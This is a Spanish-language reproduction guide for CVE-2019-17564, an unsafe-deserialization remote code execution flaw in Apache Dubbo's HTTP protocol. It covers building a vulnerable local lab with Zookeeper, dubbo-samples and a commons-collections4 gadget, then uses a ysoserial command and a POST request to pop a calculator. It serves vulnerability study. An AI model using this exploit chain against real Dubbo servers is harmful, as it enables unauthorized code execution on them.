
CVE-2019-17564:vulnerabilidad de deserialización de Apache Dubbo
Apache Dubbo es un marco RPC Java de código abierto de alto rendimiento y ligero que proporciona tres capacidades principales: invocación de métodos remotos orientada a interfaces, tolerancia a fallos inteligente y equilibrio de carga, y registro y descubrimiento automático de servicios.
Apache Dubbo admite múltiples protocolos, y se recomienda oficialmente usar el protocolo Dubbo. Existe una vulnerabilidad de deserialización (CVE-2019-17564) en el protocolo HTTP de Apache Dubbo. La causa principal es que cuando Apache Dubbo habilita el protocolo HTTP, el manejo inadecuado del cuerpo del mensaje provoca una deserialización insegura. Cuando el proyecto contiene gadgets disponibles, puede conducir a la ejecución remota de código.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# Renombrar zoo_sample.cfg en el directorio conf a zoo.cfg
mv zoo_sample.cfg zoo.cfg
# Ingresar al directorio bin e iniciar Zookeeper
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# Ingresar al directorio dubbo-samples-http y modificar pom.xml
vim pom.xml
Cambiar la versión de Dubbo a una versión vulnerable
Agregar dependencia, importar un gadget desencadenante, en este caso commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

Payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
payload
Aquí se usa ysoserial para generar el payload
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
Envío con Burp

https://www.mail-archive.com/[email protected]/msg06225.html